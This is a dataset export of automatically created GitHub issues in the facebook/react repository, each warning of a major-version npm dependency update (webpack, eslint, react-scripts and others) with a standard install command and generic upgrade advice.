",,2025-07-17 22:50:29+00:00,2025-07-19 02:16:38+00:00,1,nan,1.1432,update webpack cli from to breaking change warning a major version update is available for webpack cli current version latest version package information description cli for webpack friends homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.5423
facebook/react,3241163874,Update webpack from 4.44.2 to 5.100.2,"## Breaking Change Warning
        
A major version update is available for **webpack**.

### Current Version
- **4.44.2**

### Latest Version
- **5.100.2**

### Package Information
- **Description:** Packs ECMAScript/CommonJs/AMD modules for the browser. Allows you to split your codebase into multiple bundles, which can be loaded on demand. Supports loaders to preprocess files, i.e. json, jsx, es7, css, less, ... and your custom stuff.
- **Homepage:** https://github.com/webpack/webpack

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack@5.100.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:28+00:00,2025-07-19 02:16:40+00:00,1,nan,1.1432,update webpack from to breaking change warning a major version update is available for webpack current version latest version package information description packs ecmascript commonjs amd modules for the browser allows you to split your codebase into multiple bundles which can be loaded on demand supports loaders to preprocess files i e json jsx es css less and your custom stuff homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.34
facebook/react,3241163853,Update rimraf from ^3.0.2 to 6.0.1,"## Breaking Change Warning
        
A major version update is available for **rimraf**.

### Current Version
- **^3.0.2**

### Latest Version
- **6.0.1**

### Package Information
- **Description:** A deep deletion module for node (like `rm -rf`)
- **Homepage:** https://github.com/isaacs/rimraf#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install rimraf@6.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:28+00:00,2025-07-19 02:16:42+00:00,1,nan,1.1432,update rimraf from to breaking change warning a major version update is available for rimraf current version latest version package information description a deep deletion module for node like homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.4404
facebook/react,3241163823,Update react-error-boundary from ^3.1.3 to 6.0.0,"## Breaking Change Warning
        
A major version update is available for **react-error-boundary**.

### Current Version
- **^3.1.3**

### Latest Version
- **6.0.0**

### Package Information
- **Description:** Simple reusable React error boundary component
- **Homepage:** https://github.com/bvaughn/react-error-boundary#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-error-boundary@6.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:27+00:00,2025-07-19 02:16:44+00:00,1,nan,1.1433,update react error boundary from to breaking change warning a major version update is available for react error boundary current version latest version package information description simple reusable react error boundary component homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,bug,-0.8225
facebook/react,3241163787,Update nodemon from ^2.0.6 to 3.1.10,"## Breaking Change Warning
        
A major version update is available for **nodemon**.

### Current Version
- **^2.0.6**

### Latest Version
- **3.1.10**

### Package Information
- **Description:** Simple monitor script for use during development of a Node.js app.
- **Homepage:** https://nodemon.io

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install nodemon@3.1.10
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:27+00:00,2025-07-19 02:16:47+00:00,1,nan,1.1433,update nodemon from to breaking change warning a major version update is available for nodemon current version latest version package information description simple monitor script for use during development of a node js app homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163764,Update express from ^4.17.1 to 5.1.0,"## Breaking Change Warning
        
A major version update is available for **express**.

### Current Version
- **^4.17.1**

### Latest Version
- **5.1.0**

### Package Information
- **Description:** Fast, unopinionated, minimalist web framework
- **Homepage:** https://expressjs.com/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install express@5.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:26+00:00,2025-07-19 02:16:49+00:00,1,nan,1.1433,update express from to breaking change warning a major version update is available for express current version latest version package information description fast unopinionated minimalist web framework homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.5267
facebook/react,3241163742,Update concurrently from ^5.3.0 to 9.2.0,"## Breaking Change Warning
        
A major version update is available for **concurrently**.

### Current Version
- **^5.3.0**

### Latest Version
- **9.2.0**

### Package Information
- **Description:** Run commands concurrently
- **Homepage:** https://github.com/open-cli-tools/concurrently#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install concurrently@9.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:26+00:00,2025-07-19 02:16:51+00:00,1,nan,1.1433,update concurrently from to breaking change warning a major version update is available for concurrently current version latest version package information description run commands concurrently homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163718,Update babel-loader from 8.1.0 to 10.0.0,"## Breaking Change Warning
        
A major version update is available for **babel-loader**.

### Current Version
- **8.1.0**

### Latest Version
- **10.0.0**

### Package Information
- **Description:** babel module loader for webpack
- **Homepage:** https://github.com/babel/babel-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-loader@10.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:25+00:00,2025-07-19 02:16:53+00:00,1,nan,1.1434,update babel loader from to breaking change warning a major version update is available for babel loader current version latest version package information description babel module loader for webpack homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163673,Update react-scripts from 0.9.5 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **0.9.5**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:24+00:00,2025-07-19 02:16:55+00:00,1,nan,1.1434,update react scripts from to breaking change warning a major version update is available for react scripts current version latest version package information description configuration and scripts for create react app homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.3612
facebook/react,3241163647,Update react-draggable from ^2.2.6 to 4.5.0,"## Breaking Change Warning
        
A major version update is available for **react-draggable**.

### Current Version
- **^2.2.6**

### Latest Version
- **4.5.0**

### Package Information
- **Description:** React draggable component
- **Homepage:** https://github.com/react-grid-layout/react-draggable

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-draggable@4.5.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:23+00:00,2025-07-19 02:16:57+00:00,1,nan,1.1434,update react draggable from to breaking change warning a major version update is available for react draggable current version latest version package information description react draggable component homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163626,Update pretty-format from ^4.2.1 to 30.0.2,"## Breaking Change Warning
        
A major version update is available for **pretty-format**.

### Current Version
- **^4.2.1**

### Latest Version
- **30.0.2**

### Package Information
- **Description:** Stringify any JavaScript value.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install pretty-format@30.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:23+00:00,2025-07-19 02:17:00+00:00,1,nan,1.1435,update pretty format from to breaking change warning a major version update is available for pretty format current version latest version package information description stringify any javascript value recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.8481
facebook/react,3241163594,Update react-scripts from 1.0.17 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **1.0.17**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:22+00:00,2025-07-19 02:17:02+00:00,1,nan,1.1435,update react scripts from to breaking change warning a major version update is available for react scripts current version latest version package information description configuration and scripts for create react app homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.3612
facebook/react,3241163569,Update react-dom from ^16.1.1 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **^16.1.1**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:21+00:00,2025-07-19 02:17:04+00:00,1,nan,1.1436,update react dom from to breaking change warning a major version update is available for react dom current version latest version package information description react package for working with the dom homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163549,Update react from ^16.1.1 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **^16.1.1**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:21+00:00,2025-07-19 02:17:06+00:00,1,nan,1.1436,update react from to breaking change warning a major version update is available for react current version latest version package information description react is a javascript library for building user interfaces homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163500,Update eslint from ^8 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **^8**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:19+00:00,2025-07-19 02:17:09+00:00,1,nan,1.1436,update eslint from to breaking change warning a major version update is available for eslint current version latest version package information description an ast based pattern checker for javascript homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163472,Update eslint from ^7 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **^7**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:19+00:00,2025-07-19 02:17:11+00:00,1,nan,1.1437,update eslint from to breaking change warning a major version update is available for eslint current version latest version package information description an ast based pattern checker for javascript homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163439,Update eslint from ^6 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **^6**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:18+00:00,2025-07-19 02:17:13+00:00,1,nan,1.1437,update eslint from to breaking change warning a major version update is available for eslint current version latest version package information description an ast based pattern checker for javascript homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163388,Update react-scripts from ^1.0.11 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **^1.0.11**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:17+00:00,2025-07-19 02:17:35+00:00,2,nan,1.144,update react scripts from to breaking change warning a major version update is available for react scripts current version latest version package information description configuration and scripts for create react app homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.3612
facebook/react,3241163374,Update semver from ^5.5.0 to 7.7.2,"## Breaking Change Warning
        
A major version update is available for **semver**.

### Current Version
- **^5.5.0**

### Latest Version
- **7.7.2**

### Package Information
- **Description:** The semantic version parser used by npm.
- **Homepage:** https://github.com/npm/node-semver#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install semver@7.7.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:17+00:00,2025-07-19 02:17:37+00:00,1,nan,1.144,update semver from to breaking change warning a major version update is available for semver current version latest version package information description the semantic version parser used by npm homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163346,Update query-string from ^4.2.3 to 9.2.2,"## Breaking Change Warning
        
A major version update is available for **query-string**.

### Current Version
- **^4.2.3**

### Latest Version
- **9.2.2**

### Package Information
- **Description:** Parse and stringify URL query strings
- **Homepage:** https://github.com/sindresorhus/query-string#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install query-string@9.2.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:16+00:00,2025-07-19 02:17:40+00:00,1,nan,1.144,update query string from to breaking change warning a major version update is available for query string current version latest version package information description parse and stringify url query strings homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163317,Update jest-diff from ^29.4.1 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest-diff**.

### Current Version
- **^29.4.1**

### Latest Version
- **30.0.4**

### Package Information

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest-diff@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:15+00:00,2025-07-19 02:17:42+00:00,1,nan,1.1441,update jest diff from to breaking change warning a major version update is available for jest diff current version latest version package information recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163298,Update core-js from ^2.4.1 to 3.44.0,"## Breaking Change Warning
        
A major version update is available for **core-js**.

### Current Version
- **^2.4.1**

### Latest Version
- **3.44.0**

### Package Information
- **Description:** Standard library
- **Homepage:** https://github.com/zloirock/core-js#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install core-js@3.44.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:15+00:00,2025-07-19 02:17:44+00:00,1,nan,1.1441,update core js from to breaking change warning a major version update is available for core js current version latest version package information description standard library homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163280,Update codemirror from ^5.40.0 to 6.0.2,"## Breaking Change Warning
        
A major version update is available for **codemirror**.

### Current Version
- **^5.40.0**

### Latest Version
- **6.0.2**

### Package Information
- **Description:** Basic configuration for the CodeMirror code editor
- **Homepage:** https://github.com/codemirror/basic-setup#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install codemirror@6.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:14+00:00,2025-07-19 02:17:46+00:00,1,nan,1.1441,update codemirror from to breaking change warning a major version update is available for codemirror current version latest version package information description basic configuration for the codemirror code editor homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163221,Update victory from ^0.25.6 to 37.3.6,"## Breaking Change Warning
        
A major version update is available for **victory**.

### Current Version
- **^0.25.6**

### Latest Version
- **37.3.6**

### Package Information
- **Description:** Data viz for React
- **Homepage:** https://commerce.nearform.com/open-source/victory

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install victory@37.3.6
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:13+00:00,2025-07-19 02:17:48+00:00,1,nan,1.1442,update victory from to breaking change warning a major version update is available for victory current version latest version package information description data viz for react homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163207,Update react-scripts from ^1.1.4 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **^1.1.4**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:12+00:00,2025-07-19 02:17:50+00:00,1,nan,1.1442,update react scripts from to breaking change warning a major version update is available for react scripts current version latest version package information description configuration and scripts for create react app homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.3612
facebook/react,3241163188,Update react-markdown from ^3.2.0 to 10.1.0,"## Breaking Change Warning
        
A major version update is available for **react-markdown**.

### Current Version
- **^3.2.0**

### Latest Version
- **10.1.0**

### Package Information
- **Description:** React component to render markdown
- **Homepage:** https://github.com/remarkjs/react-markdown#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-markdown@10.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:12+00:00,2025-07-19 02:17:52+00:00,1,nan,1.1442,update react markdown from to breaking change warning a major version update is available for react markdown current version latest version package information description react component to render markdown homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163166,Update react-dom from 0.0.0-experimental-269dd6ec5 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **0.0.0-experimental-269dd6ec5**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:11+00:00,2025-07-19 02:17:54+00:00,1,nan,1.1442,update react dom from experimental dd ec to breaking change warning a major version update is available for react dom current version experimental dd ec latest version package information description react package for working with the dom homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163153,Update react from 0.0.0-experimental-269dd6ec5 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **0.0.0-experimental-269dd6ec5**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:10+00:00,2025-07-19 02:17:56+00:00,1,nan,1.1443,update react from experimental dd ec to breaking change warning a major version update is available for react current version experimental dd ec latest version package information description react is a javascript library for building user interfaces homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163116,Update react-scripts from 1.0.11 to 5.0.1,"## Breaking Change Warning
        
A major version update is available for **react-scripts**.

### Current Version
- **1.0.11**

### Latest Version
- **5.0.1**

### Package Information
- **Description:** Configuration and scripts for Create React App.
- **Homepage:** https://github.com/facebook/create-react-app#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-scripts@5.0.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:09+00:00,2025-07-19 02:17:58+00:00,1,nan,1.1443,update react scripts from to breaking change warning a major version update is available for react scripts current version latest version package information description configuration and scripts for create react app homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.3612
facebook/react,3241163085,Update react-dom from ^15.6.1 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **^15.6.1**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:09+00:00,2025-07-19 02:18:00+00:00,1,nan,1.1443,update react dom from to breaking change warning a major version update is available for react dom current version latest version package information description react package for working with the dom homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163071,Update react from ^15.6.1 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **^15.6.1**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:08+00:00,2025-07-19 02:18:02+00:00,2,nan,1.1444,update react from to breaking change warning a major version update is available for react current version latest version package information description react is a javascript library for building user interfaces homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163038,Update file-saver from ^1.3.3 to 2.0.5,"## Breaking Change Warning
        
A major version update is available for **file-saver**.

### Current Version
- **^1.3.3**

### Latest Version
- **2.0.5**

### Package Information
- **Description:** An HTML5 saveAs() FileSaver implementation
- **Homepage:** https://github.com/eligrey/FileSaver.js#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install file-saver@2.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:08+00:00,2025-07-19 02:18:04+00:00,1,nan,1.1444,update file saver from to breaking change warning a major version update is available for file saver current version latest version package information description an html saveas filesaver implementation homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.1027
facebook/react,3241163010,Update webpack from ^1.14.0 to 5.100.2,"## Breaking Change Warning
        
A major version update is available for **webpack**.

### Current Version
- **^1.14.0**

### Latest Version
- **5.100.2**

### Package Information
- **Description:** Packs ECMAScript/CommonJs/AMD modules for the browser. Allows you to split your codebase into multiple bundles, which can be loaded on demand. Supports loaders to preprocess files, i.e. json, jsx, es7, css, less, ... and your custom stuff.
- **Homepage:** https://github.com/webpack/webpack

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack@5.100.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17 22:50:07+00:00,2025-07-19 02:18:06+00:00,1,nan,1.1444,update webpack from to breaking change warning a major version update is available for webpack current version latest version package information description packs ecmascript commonjs amd modules for the browser allows you to split your codebase into multiple bundles which can be loaded on demand supports loaders to preprocess files i e json jsx es css less and your custom stuff homepage recommended actions review the changelog for breaking changes update your code to handle any breaking changes test thoroughly before deploying consider updating incrementally if multiple major versions behind update command this issue was created automatically by the dependency breaking change checker,others,0.34
facebook/react,3241162929,Update babel-loader from ^8.1.0 to 10.0.0,"## Breaking Change Warning
        
A major version update is available for **babel-loader**.

### Current Version
- **^8.1.0**

### Latest Version
- **10.0.0**

### Package Information
- **Description:** babel module loader for webpack
- **Homepage:** https://github.com/babel/babel-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-loader@10.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
